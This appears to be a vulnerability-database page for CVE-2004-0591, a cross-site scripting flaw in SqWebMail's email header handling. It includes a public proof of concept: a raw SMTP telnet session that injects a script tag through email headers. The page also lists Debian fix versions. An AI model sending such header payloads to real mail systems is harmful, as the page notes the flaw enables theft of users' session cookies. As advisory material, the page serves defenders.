CVE-2004-0591
Description
Cross-site scripting (XSS) vulnerability in the print_header_uc function for SqWebMail 4.0.4 and earlier, and possibly 3.x, allows remote attackers to inject arbitrary web script or HRML via (1) e-mail headers or (2) a message with a "message/delivery-status" MIME Content-Type.
Predictions
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Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
SqWebMail 4.0.4.20040524 - Email Header HTML Injection
source: https://www.securityfocus.com/bid/10588/info
SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.
The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header.
An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.
1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":
ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<test@test.com>
250 ok
rcpt to:<user@mediaservice.net>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]
2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.45.4-4 |
| sid | Fixed | 0.45.4-4 |
| forky | Fixed | 0.45.4-4 |
| bullseye | Fixed | 0.45.4-4 |
| bookworm | Fixed | 0.45.4-4 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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